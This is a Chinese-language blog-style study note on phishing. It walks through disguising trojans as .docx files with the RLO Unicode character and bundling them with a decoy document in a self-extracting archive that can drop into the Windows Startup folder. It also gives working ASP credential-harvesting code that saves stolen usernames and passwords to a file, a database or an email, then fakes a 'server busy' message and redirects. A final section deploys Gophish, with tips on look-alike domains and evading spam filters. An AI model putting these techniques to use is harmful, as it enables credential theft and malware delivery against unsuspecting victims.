作为信息安全的一名学子,网络钓鱼手法是必须学的,那么这篇笔记便是关于网络钓鱼的。
RLO木马逆命欺骗
RLO概念:RLO(Right-Left-Override),是windows的一种古老机制,是为了满足阿拉伯语用户从右往左的读写习惯而引入的一个特殊字符(是Unicode控制符的一种)。通过在段落头部插入RLO字符,从而实现文本内容的左右颠倒,从而让病毒程序的真实后辍名(.exe/.scr/.com等)被隐藏,伪装后的病毒看起来是.jpg、.txt、.rmvb的文件。
例如我创建一个bat文件,命名为txt.bat。然后点击重命名,在文件名输入框中首先右键点击“插入unicode控制字符”,插入一个RLO(从右到左显示),然后输入txt.bat,回车,此时文件名已经显示为tab.txt。将这个文件发给其他用户,由于文件后缀为txt,一般用户会当做文本文件放心的打开,但此时bat文件已经执行。
复现
1.编写无害程序
2.更换木马图标
3.修改程序后缀
4.ZIP自定义压缩钓鱼
1.编写程序并打包
2.更换打包程序图标
我直接用python打包程序时的参数–icon指定图标位置进行修改,也可以用工具修改,如Resource Hacker
图标下载网站:免费图标SVG,PNG,ICO或ICNS (也可以自己做)
3.修改木马的名称和后缀
先改名称,然后进行RLO插入,对文件重命名,在.exe
的前面进行右键,选择插入Unicode 控制字符串(I)
。(注意:要先重命名,将光标放在.exe 的前面,再右键)。然后进行倒叙输入xcod
,后缀就变成了docx
,再测试一下运行效果,是真不错。这样一个基础的word 文档钓鱼就做好了。
4.ZIP 自定义压缩钓鱼
虽然上述的基础伪装做好了,但是它双击之后并没有出现word文件,还是会让人起疑心。这里我们需要一篇真正的word 文档,如原神免费获取可莉教程exe.dock
,内容可以写的接近真实一点,不让人怀疑。
于是先创建一篇真正的文档:
同时选中两个文件,创建自解压格式的压缩文件
这里的路径是任意路径
// 任何人可以写入的文件路径
C:\Windows\Temp
// 具有权限维持效果的
"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
这里的路径就不多说了,演示效果,我这里用C:\Windows\Temp。如果想用维持效果记得加双引号
且我这里是解压的原来没有修改后缀的exe文件,因为进行第四步后并不需要对该exe进行包装而可以直接调用即可。这里要把路径和文件名对应起来,如果中间有空格需要用双引号引起来
接下来一路确定即可,然后会生成一个test.exe文件,再重复
2,3步即可。这样伪装的程序既能运行word,也能运行木马。
XFT搭建钓鱼网站
一个钓鱼网站的正常思路是:模仿页面–>社工诱导–>提交传入后端–>后端获取信息并存储–>传回“服务器繁忙”或虚假信息并重定向到真实网站。
跟据以上思路我们利用工具XFT手动搭建一个钓鱼网页。
前端制作
利用XFT仿站工具或手动将网站模拟出来,我们先模仿某站点后台登陆页面,这里我想选用的的自己博客的后台登陆页面
然后点击下一步选择我们的网页要存储的位置,其中cookie值和UA只有专业版才能获取。其他的均采用默认配置即可。
选择好后,我们开始下载。下载好后,我们利用DW将下载好的网页打开,可以看到整体相同,我们接下来需要将登录按钮连接到我们的asp文件中。(这里使用DW是为了更好的模拟前端细节)。这里就需要体积我们的表单的提交方式:
1、按钮实现
我们定位到页面登录的表单代码中,找到登录的input属性,将其定义为单提交按钮。然后我们再定位到网页表单,更改其跳转为我们的后端页面
我们定位到网页表单
更改其跳转为我们的后端页面
2、<a>标签实现
同样,这个我们也定位到登录位置,在<a>标签中设置点击的属性。
不过这里我的网站后台并不是在<a>标签中进行地址链接的,这里不再过多介绍,核心就是定位到登陆表单,修改其中后台登陆的地址。
后端制作
实现文本存储:
<html>
<meta charset="UTF-8"/>
<%
UserName = Request.Form("UserName")
UserPwd = Request.Form("UserPwd")
set fs=Server.CreateObject("Scripting.FileSystemObject")
'fname=Server.MapPath("user_"&UserName".txt")
set tf=fs.OpenTextFile(Server.MapPath("user.txt"),8,true)
tf.WriteLine UserName
tf.WriteLine UserPwd
tf.close
'Response.Redirect "http://www.钓鱼站点.com/"
%>
<script language="javascript">
alert("服务器繁忙,请重新登录!")
window.location="http://www.钓鱼站点.com/";
</script>
<html>
这段代码的作用就是设置变量名,获取表单账户和密码的信息,将信息保存到生成的文本文件中。设置一个弹窗,服务器忙请重新登录,并重定位到正确网站。
实现邮箱存储:
这里需要用到jamil邮件操作组件,利用他们发送邮件给我们邮箱,因此我们需要下载安装jamil组件,首先下载:https://www.onlinedown.net/soft/1027.htm,下载好之后,运行.msi的文件按默认安装。随后在管理员运行的cmd里输入:regsvr32 “C:\Program Files\Dimac\w3JMail\jmail.dll”。即可成功运行jmail组件。
开启你要发送邮箱的smtp服务,并将授权码保存下来,填写到JMail.MailServerPassword后面即可。
<html>
<meta charset="UTF-8"/>
<%
Set msg = Server.CreateObject("JMail.Message")
msg.silent = true
msg.Logging = true
msg.Charset = "gb2312"
msg.MailServerUserName = "user@yourdomain.com" '输入smtp服务器32313133353236313431303231363533e58685e5aeb931333335303462验证登陆名 (邮局中任何一个用户的Email地址)
msg.MailServerPassword = "userpasswd" '输入smtp服务器验证密码 (用户Email帐号对应的密码)
msg.From = Request.Form("email") '发件人Email
msg.FromName = Request.Form("name") '发件人姓名
msg.AddRecipient "webmaster@abc.com" '收件人Email
msg.Subject = Request.Form("subject") '信件主题
msg.Body = Request.Form("body") '正文
msg.Send ("mail.yourdomain.com") 'smtp服务器地址(企业邮局地址)
set msg = nothing
%>
<script language="javascript">
alert("服务器繁忙,请重新登录!")
window.location="http://www.钓鱼站点.com/";
</script>
<html>
数据库存储实现:
首先需要下载好数据库和管理工具后,开启一个新用户,或者已有的用户。为他设置可远程连接的属性。
以sqlserver为例:
在状态中,将用户启启用。
服务器数据库的属性中设置远程验证。
在sql配置管理器中,我们设置远程连接的最后一步
随后在tcp/ip属性里,找到ip地址最下面的ipall将端口设置为1433
设置连接字符串,我这里采用的数据库是sql server 2019。不同的数据库和不同的版本连接字符串可能有所不同。
设置一条插入的语句,并再获取后执行。
需要注意的是,sql server 默认开放端口是1433,如果有端口拒绝访问或者连接错误,可以尝试再sql配置管理工具中 将tcp/ip的端口调置为1433.
<html>
<meta charset="UTF-8"/>
<%
UserName = Request.Form("UserName")
UserPwd = Request.Form("UserPwd")
Set Conn=Server.Createobject("Adodb.Connection")
Conn.ConnectionString="Provider=Microsoft.Jet.OLEDB.4.0;"&_
"Data Source="&Server.MapPath("user.mdb")
Conn.Open '打开与数据库的连接
strsql="insert into LayerST(Title,Content) Values('"&UserName&"','"&UserPwd&"')"
conn.Execute(strsql)
%>
<script language="javascript">
alert("服务器繁忙,请重新登录!")
window.location="http://www.test2.com/";
</script>
<html>
然后就能开启正式钓鱼了
宝塔面板制作钓鱼网页
Gophis 钓鱼平台
Gophish官网地址:https://getgophish.com/
Gophish项目地址:https://github.com/gophish/gophish
Gophish用户手册地址:https://docs.getgophish.com/user-guide/
主要功能
钓鱼邮件模板:支持创建逼真的钓鱼邮件,包括 HTML 格式和动态内容。
目标管理:可以导入和管理目标用户列表,支持 CSV 文件导入。
钓鱼页面:允许创建仿真的钓鱼页面,用于收集用户输入(如凭证)。
发送计划:支持定时发送钓鱼邮件,模拟真实的攻击场景。
数据统计:提供详细的报告和分析,包括邮件打开率、点击率和提交率。
API 支持:通过 API 与其他工具集成,实现自动化操作。
使用场景
- 安全意识培训:通过模拟钓鱼攻击,帮助员工识别和防范钓鱼邮件。
- 安全评估:测试组织的安全防护措施,发现潜在的风险。
- 合规性检查:满足某些行业对安全意识培训的合规要求。
部署:需要云服务器
登录云服务器使用 root 账号操作,下载 Gophish 安装包并解压文件。
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
apt install unzip
unzip gophish-v0.12.1-linux-64bit.zip -d gophish
在当前目录下会得到Gophish文件夹,赋予其权限。
chmod -R 777 gophish
cd gophish
ll
查看配置文件 vi config.json ,将admin_server的listen_url修改为0.0.0.0,默认端口3333,可以自定义未被其他服务占用的端口。
Gophish默认开启3333端口和80端口,在云服务器控制台的防火墙需要对外开放端口。为了安全起见,可以将Gophish后台地址3333端口设置指定IP访问。
进入Gophish文件夹,运行程序有以下方式:
方式一:前台运行
./gophish
方式二:挂后台运行
nohup ./gophish
方式三:推荐用tmux复用器运行
# 新建一个会话窗口
tmux new -s gophish-test
# 进入Gophish文件夹
cd gophish
# 执行程序
./gophish
# 接着按 Ctrl+b键激活tmux窗口快捷键
# 再按d键切换到主界面会话
# 想重新接入会话,执行如下命令
tmux attach -t gophish-test
# 拓展:查看当前会话
tmux list-session
# 拓展:删除指定会话
tmux kill-session -t gophish-test
首次执行Gophish程序,会打印出账号密码,需记录下来后续登录使用。
访问Gophish后台地址 https://vpsIP:3333
使用初始账号密码登录即可。
首次登录会提示修改密码,修改完即可登录成功。
访问钓鱼地址http://vpsIP/
默认情况下为404空白页面。
至此,Gophish钓鱼平台搭建成功
使用教程:主要功能如下:
Sending Profiles – 邮箱发送配置
各字段解释:
- Name :随意填写,为Profile的名称。
- SMTP From :发送方的邮件地址,邮箱地址必须和下面的Username一致。
- Host:1、服务地址,没有做域名解析,直接填写 IP地址:25;2、做了域名解析的话,如通过http转发的25端口到vps的9999端口,填写domain:9999 。
- Username:发送方的邮件地址。
- Password QQ和163的邮箱授权码,以QQ邮箱为例:登录QQ邮箱网页版,点击账号与安全,点击安全设置,找到并开启SMTP,生成授权码。
Email Headers: 设置重要性标识 – 可信头,例如QQ邮箱可信头可添加 X-Mailer QQMail 2.x
配置完成后,可以发送测试邮件进行验证。
发送成功,受害者用户邮箱接收邮件。
以上是公共邮箱QQ测试结果。在真实钓鱼演练中,需要去购买一个隐蔽形似的域名,然后搭建邮箱服务器用于发送钓鱼邮件,仿造真实邮箱,提升钓鱼成功概率
User & Groups – 受害者用户组
各字段解释:
- Name :随意填写,为受害者组的名称。
- Bulk Import Users:可点击下载旁边的CVS模板文件,批量填写受害者的信息,然后导入Gophish平台。
- FirstName和LastName:受害者名字。
- Email:受害者的邮箱号码。
- Position:受害者的备注信息。
Email Templates – 邮件模板配置
各字段解释:
- Name:邮件模板的别名,可以自定义。
- Import Mail:支持导入.eml文件格式的邮件。
- Envelope Sender:发件人信息,可以自定义。
- Subject:发送钓鱼邮件的主题名称。
- Text和Html:编辑钓鱼邮件的内容,支持纯文本和Html代码格式,点击编辑器的Source和放大镜图标,可以预览html钓鱼邮件页面情况。注意跳转的地址标签需要更改为指定格式
{{.URL}}
,例如:<a href="{{.URL}}" >备案登记</a>
- Add Tracking Image:需要勾选,钓鱼邮件中插入一张隐藏的图片,以此判断受害者是否点击了该邮件,用来统计数据使用。
- Add Files:可以导入发送钓鱼邮件的附件。
Landing Pages – 钓鱼页面配置
钓鱼页面一般是仿造某个修改密码或者登录之类的页面,并且配合钓鱼邮件使用,通过发送钓鱼邮件来使受害者点击链接进行精心设计的钓鱼页面,利用钓鱼页面诱导受害者提交敏感信息(如:账号密码),或是诱导受害者下载邮件附件,以此向受害者主机植入病毒木马等。
各字段解释
- Name:钓鱼页面的别名,可以自定义。
- Import Site:爬取你要仿造页面的html文件。
- HTML:自定义设计的钓鱼页面html网页代码,推荐使用整站下载工具克隆网站后导入,钓鱼页面html文件中必须有 form 标签内的属性,且 action 必须为空,否则Gophish平台接收不到受害者的数据。点击HTML编辑器的Source和放大镜图标,可以预览html钓鱼页面的情况。
- Capture Submitted Data:抓取受害者是否点击了提交按钮。
- Capture Passwords:抓取受害者在钓鱼页面提交的账号密码信息。
- Redirect to:受害者在钓鱼页面提交数据后,可以重定向到指定的地址。
Campaigns – 钓鱼攻击配置
各字段解释:
- Name:钓鱼攻击事件的别名,可以自定义。
- Email Template:选择已创建好的邮件模板。
- Landing Page:选择已创建好的钓鱼页面。
- URL:填写Gophish平台的钓鱼地址,默认为80端口,即
http://vpsIP
,如果绑定域名则是http://domain:port
- Launch Date:设置发送钓鱼邮件的时间,可以选择在什么时间发送。
- Send Emails By (Optional):配合Launch Date使用,Send Emails By代表开始发送时间,Launch Date代表结束发送时间,所有邮件都会在这个时间段按分钟平均发送。假设这个时间段有10分钟,那么100封邮件就平均分成10份发送,每一分钟发10份。通过调整设置发件策略可以防止短时间内因发送大量邮件抵达目标邮箱而被检测为垃圾邮件,设置发件邮箱服务器IP直接被目标邮箱服务器封禁。
- Sending Profile:选择已创建的发件人邮箱配置。
- Groups:选择已创建的受害者用户组。
点击Launch Campaign发送钓鱼邮件,可以看到该钓鱼事件的数据情况。
- Email Sent:发送的钓鱼邮件数量
- Email Opened:受害者用户打开的邮件数
- Clicked Link:受害者用户点击钓鱼链接数量
- Submitted Data: 受害者用户提交数据数量
- Email Reported:邮件报告数量
Gophish平台记录了受害者访问钓鱼邮件各阶段的数据信息。